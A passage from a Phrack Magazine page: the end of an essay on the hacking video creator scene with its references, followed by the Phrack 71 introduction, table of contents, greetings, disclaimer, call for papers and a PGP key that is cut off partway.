Can hacking videos be ethical or unethical? It's a difficult topic and one that I clash a lot on with other creators. I do believe that there is a way to make the "right" kind of tutorials ‑ and so far I haven't had any issues with YouTube ;)

For example, I understand that Google does not want a step‑by‑step video guide for script kiddies to setup a shitty phishing page, when phishing is the second most common source of compromised Google accounts[19]. And to me that is not censorship, because the underlying skill is very basic web development. So to me a phishing tutorial is kinda deceitful and unnecessarily hiding the real "hacking" skill ‑ web development. But I know many of my peers disagree here.

Then there is the evolution of "hacker influencer". It was important to me at the start to be faceless anonymous. But over the years my opinion has slightly changed. I often think back to the time when I was sitting alone in my room trying to understand an article, and wished I had the videos I make today. So for me it's important to use social media and their algorithmic feeds to maximize exposure; hoping to reach that kid who wants to break through the same wall I was hitting. Nowadays I believe that my desire to have this information easily discoverable, outweighs restricting educational resources to obscure (or underground) places.

In 2019 TheCyberMentor joined the scene with live streaming basic pentesting lessons for free on Twitch[20]. It kinda felt like OSCP material, just in video form and free. There were earlier attempts at creating free pentesting courses, such as SecurityTube or Cybrary, and maybe others as well. But TheCyberMentor is undoubtedly the most successful one, reaching several millions of views. This hasn't lasted long though, since building up the initial audience, he transitioned away into paid courses too.

There is also some criticism regarding original content vs. taking existing (written) tutorials and turning them into videos. Certainly there is added value in improved presentation. But there is also the ethical question about highlighting the sources. This especially affects newcomers where sometimes it's obvious that they follow a typical outline from other material, without referencing it.

In the past years, there has also been an interesting development about topics covered by the video creator scene. Because it has been completely dominated by "bug bounties". As much as I love seeing an influx of motivated young people, it feels like this is our community's version of the "get rich quick" scam. It leads to a huge demand for paid courses and guides that directly or indirectly promise you to make you a successful bug hunter. Currently it's very rare to see content beyond bug bounties and I wish there was more diversity.

Sometimes I also think about how hacking communities organize, and how creators changed this. In the past the communities were usually divided by topics of interest, and now the communities form around personalities. Sometimes this makes me a bit uncomfortable, but this also resulted in a massive increase in exposure to the hacking world (it benefits the creator when the fan base grows).

It's always difficult to see cultural change, when it evolves away from what we grew up with. But thinking back to my teenage years, I wish I could have been able to find places like that more easily, instead of having to wait until my 20s to accidentally stumble into it.

Besides creating videos, there is also a growing scene live streaming on Twitch. Most of them work on challenges from HackTheBox or TryHackMe, which are platforms with commercial interest. This means the streamers provide collectively free advertising worth millions for those platforms. On one hand it's amazing to see so much content, but it's sad that less community oriented wargames/CTFs are shown. And the variety of the topics covered is very low as well.

The style (screen recordings vs. person talking vs. heavy editing), and the skill levels of creators vary a lot. And I don't mind, as variety benefits us all. I'm happy as long as more people share more of their work in video form. I even would like to see more beginners documenting their journey. But deep down my heart beats for the senior professionals, like geohot at the time, who let us look over their shoulder.

And there are some great channels today, such as hardware researcher stacksmashing[21], gamozo who develops entire new operating systems just for fuzzing[22] (absolutely insane) or the Flashback Team diving into their Pwn2Own winning router hack[23]; those kinds of channels make me excited.

The popularity of hacking videos, and the evolution of a whole creator scene, was only possible due to the growth of social media platforms. Their algorithms helped us to get our videos in front of people who didn't know they were looking for them. As the internet changes fast, social media platforms change too, And right now TikTok seems to be an interesting platform to reach new audiences, but the short format does not allow to cover in‑depth topics. MalwareTech[24] is leading the charge there with millions of views.

‑‑[ 4. Final Words

Unfortunately there are so many creators today that I cannot include everyone. But please know that this article is dedicated to all of you.

The following people have helped me with this article, by sharing their experience or fact checking information (alphabetical order):

BlindHacker, CryptoCat, gamozo, Gynvael, hacksplained, insiderphd, ipp, John Hammond, justinsteven, Murmurs, psifertex, snubs, stacksmashing, superhero1, TheColonial, Zeta Two

Shoutout to the polish and indian video creators. I do not understand a single word, but you all seem very active and dedicated. Special shoutout to geohot, because without his CTF live streams I would not be here. And shoutout to Gynvael for being the first person I really cared about acknowledging my work.

"And don't forget to like, comment and subscribe."

‑‑[ 5. References

[0] Lenas Reversing for Newbies (2006) https://web.archive.org/web/

20070524043123/http://www.tuts4you.com/download.php?list.17

[1] thebroken by Kevin Rose https://archive.org/details/thebroken_xvid

[2] Hak5 ‑ Episode #1 https://www.youtube.com/watch?v=SUEXCCWMfXg

[3] Notacon 2007 Part 1 https://www.youtube.com/watch?v=HXSZ4PRLUDU

[4] CSAW CTF challenge 2.exe, 3.exe and 4.exe flag retrieval https://www.youtube.com/watch?v=_Ld1cD9d7tI

[5] Beginner Challenge #1... https://www.youtube.com/watch?v=tdqJ8NEcJUM

[6] Phrack issue #69 ‑ International scenes

[7] https://reddit.com/r/WatchPeopleCode

[8] livectf REDEMPTION by geohot 7/27/2014 https://www.youtube.com/watch?v=td1KEUhlSuk

[9] Let's Hack Livestream ‑ exploit‑exercises.com (2015) https://www.youtube.com/watch?v=HBnPY77JtqY

[10] The Heap: dlmalloc unlink() exploit ‑ bin 0x18 https://www.youtube.com/watch?v=HWhzH‑‑89UQ

[11] Hacking Livestream #1: ReRe and EZPZP https://www.youtube.com/watch?v=XWozhb1ZOyM

[12] Life of an Exploit: Fuzzing PDFCrack with AFL for 0days https://www.youtube.com/watch?v=8VLNPIIgKbQ

[13] HackTheBox ‑ Popcorn https://www.youtube.com/watch?v=NMGsnPSm8iw

[14] Live CTF v2: ... https://www.youtube.com/watch?v=D7uXE_lEzxI

[15] SMT in reverse engineering, for dummies https://youtu.be/b92CW‑NZ3l0

[16] GoogleCTF ‑ XSS "Pasteurize" https://youtu.be/voO6wu_58Ew

[17] Hacking into Google's Network for $133337 https://youtu.be/g‑JgA1hvJzA

[18] https://support.google.com/youtube/answer/2801964?hl=en

[19] Data breaches, phishing, or malware? Understanding the risks of stolen credentials https://dl.acm.org/doi/abs/10.1145/3133956.3134067

[20] Zero to Hero Pentesting https://youtu.be/qlK174d_uu8?list=PLLKT__MCUeiwBa7d7F_vN1GUwz_2TmVQj

[21] How the Apple AirTags were hacked https://youtu.be/_E0PWQvW‑14

[22] FuzzOS: Day 1, starting the OS https://youtu.be/2YAgDJTs9So

[23] How We Hacked a TP‑Link Router and Took Home $55,000 in Pwn2Own https://www.youtube.com/watch?v=zjafMP7EgEA

[24] https://www.tiktok.com/@malwaretech

71

- Introduction by Phrack Staff

- Phrack Prophile on BSDaemon by Phrack Staff

- Linenoise by Phrack Staff

- Loopback by Phrack Staff

- Phrack World News by Phrack Staff

- MPEG-CENC by David "retr0id" Buchanan

- Bypassing CET & BTI With Functional Oriented Programming by LMS

- World of SELECT-only PostgreSQL Injections by Maksym Vatsyk

- A VX Adventure in Build Systems and Oldschool Techniques by Amethyst Basilisk

- Allocating new exploits by r3tr074

- Reversing Dart AOT snapshots by cryptax

- Finding hidden kernel modules (extrem way reborn) by g1inko

- A novel page-UAF exploit strategy by Jinmeng Zhou, Jiayi Hu, Wenbo Shen, Zhiyun Qian

- Stealth Shell by Ryan Petrich

- Evasion by De-optimization by Ege BALCI

- Long Live Format Strings by Mark Remarkable

- Calling All Hackers by cts

Introduction

==Phrack Inc.==

Volume 0x10, Issue 0x47, Phile #0x01 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Introduction ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ staff@phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ August 19, 2024 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Breaking The Spell

It can feel like the world is in a dreamlike state; a hype‑driven delirium, fueled by venture capital and the promises of untold riches and influence. Everyone seems to be rushing to implement the latest thing, hoping to find a magic bullet to solve problems they may not have, or even understand.

While hype has always been a thing, in the past few years (2020‑2024), we have witnessed several large pushes to integrate untested, underdeveloped, and unsustainable technology into systems that were already Going Through It. Once the charm wears off, and all the problems did not just magically disappear, they drop these ideas and move on to the next, at the cost of everyone else.

Many of these New & Exciting ideas involve introducing increasingly opaque abstraction layers. They promise to push us towards The Future, yet only bring us further from understanding our own abilities and needs. It's easy to sell ideas like these. What isn't easy, is creating something both practical and sustainable. If we want to make the world more sustainable, we need to understand the inputs, outputs, dependencies, constraints, and implementation details of the systems we rely on. Whenever we make it more difficult to know something, we inch closer to an information dark age.

After the past several decades of humanity putting all of its collective knowledge online, we are seeing more ways to prevent us from accessing it. Not only is good information harder to find, bad information is drowning it out. There are increasing incentives to gatekeep and collect rent on important resources, and to disseminate junk that is useless at best, and harmful at worst. In all of this chaos, the real threat is the loss of useful, verified, and trusted information, for the sake of monetizing the opposite.

Fortunately, there are still hackers. For every smokescreen that clouds our vision, hackers help to clear the air. For every new garden wall erected, hackers forge a path around it. For every lock placed on our own ideas and cultural artifacts, hackers craft durable picks to unshackle them. Hackers try to understand what lies beyond their perspective. Hackers focus on what is real, and what is here.

We can move forward through this bullshit. We can work together to maintain good information, and amplify the voices of those who are creating and curating it. We can learn how things actually work, share the details, and use these mechanisms to do some good. We can devise new methods of communication and collaboration, and work both within and between our communities to jam the trash compactor currently trying to crush us to death.

Hacking is both a coping mechanism and a survival skill. It represents the pinnacle of our abilities as humans to figure out how to use whatever tools we may have, in whatever way we can, to do what we need to do. Hacking is a great equalizer, a common dialect, a spirit that exists within all of us. It has the power to shape the world into one we want to live in.

The hacker spirit breaks any spell.

‑‑[ Table of Contents

0x01 Introduction .......................................Phrack Staff

0x02 Phrack Prophile ..................................... Phrack Staff

0x03 Linenoise .......................................Phrack Staff

0x04 Loopback .......................................Phrack Staff

0x05 Phrack World News ................................... Phrack Staff

0x06 MPEG‑CENC: Defective by Specification .................... retr0id

0x07 Bypassing CET & BTI With Functional Oriented

Programming .......................................LMS

0x08 World of SELECT‑only PostgreSQL Injections: (Ab)using the filesystem ........................... Maksym Vatsyk

0x09 Broodsac: A VX Adventure in Build Systems and Oldschool Techniques ........................... Amethyst Basilisk

0x0A Allocating new exploits, Pwning browsers like a kernel, Digging into PartitionAlloc and Blink engine ............. r3tr074

0x0B Reversing Dart AOT snapshots ............................. cryptax

0x0C Finding hidden kernel modules (extrem way reborn):

20 years later .......................................g1inko

0x0D A novel page‑UAF exploit strategy to Jinmeng Zhou, Jiayi Hu, privilege escalation in Linux systems .... Wenbo Shen, Zhiyun Qian

0x0E Stealth Shell: A Fully Virtualized Attack

Toolchain .......................................Ryan Petrich

0x0F Evasion by De‑optimization ............................. Ege BALCI

0x10 Long Live Format Strings ......................... Mark Remarkable

0x11 Calling All Hackers .......................................cts

‑‑[ Greetz

This zine would not be possible without the hacker community. Thank you to everyone who sent us a paper, donated to us, made art, or otherwise supported this release. Thank you to the Phrack Staff and Editor Team for putting together a fine collection of papers. Shoutout Inpatient Press for helping us navigate a print release.

Phrack Staff would like to thank Elttam, BShield, Fuzzing.IO, grayfox, bas, 0xricksanchez, zd00m, roddux, gynvael, bort, h_saxon, halvar, volvent, mercy, skyper, ga/adm, awr, jon, cts, gbaruT and red dragon for generously donating to help fund the print edition of Phrack 71!

Enormous thank you to everyone who contributed art to the Phrack 71 print release: x0, netspooky, amnesia, ris, bad will, ackmage, sillybears, del abstrakt, tainted, whatzzit, kx.

This zine would not have been possible without the following people:

TMZ ‑‑ Riding atop a cart full of zines into the sunset... sblip ‑‑ World Wide Hax Collector

RiS ‑‑ Thank you for calling all the hackers :) netspooky ‑‑ BLE (Big Leader Energy), ty for keeping the scene alive ‑ we love u grenlith ‑‑ *earth shattering doom riff plays*

chompie ‑‑ Showed us how to write kernel exploits with french tips ackmage ‑‑ Ensured that the CRUD is FUD ;)

roddux ‑‑ Weird machine quality assurance specialist maxpl0it ‑‑ The real internet explorer

skyper ‑‑ Cyber Senpai

joernchen ‑‑ The only Key Master that isn't rigged

grugq ‑‑ Still rocking the onion on your belt like a g Phrack Staff ‑‑ For putting together an awesome zine

Phrack Staph ‑‑ For getting under our skin

A message to all fuckers: Stop using war to justify your continued power.

A question for all baddies: How will you fight when stealth is not an option?

‑‑[ Phrack policy

phrack:~# head ‑77 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue.

*

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. *

*

* Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors.

* These opinions do not necessarily represent those of the Phrack Staff. */

_______ ____ ____ _______ ___

._\\____ \\ | |__\\__ \ _\\__

: |/ >> : : :/ /./ /

| : / | / \| __

| ____/| | | \ \ |

| |/// |____| |_____\ |\___ |

| : /////:____|/////\\____|////\\

|___/ e‑zine /////: //////| //// ////

//// . : x0^67^aMi5H^iMP!

‑‑[ Phrack 72 Call For Papers

2025 marks 40 years since Phrack first appeared online. Let's make this next issue really shine! We are planning another print release, we need your papers!

Here's to Phorty more years :))

‑‑‑‑( Contact )‑‑‑‑

< Editors : staff[at]phrack{dot}org >

> Submissions : submissions[at]phrack{dot}org <

< /dev/urandom : loopback[at]phrack{dot}org >

> Arts & Leisure : arts[at]phrack{dot}org <

The rules are simple:

+ 7‑bit ASCII wrapped to 76 columns

+ English language

+ PGP if you wish, but not required (use our key below)

+ ANTISPAM in the subject line or face the Spam God and walk backwards into hell

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: PHRACK

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

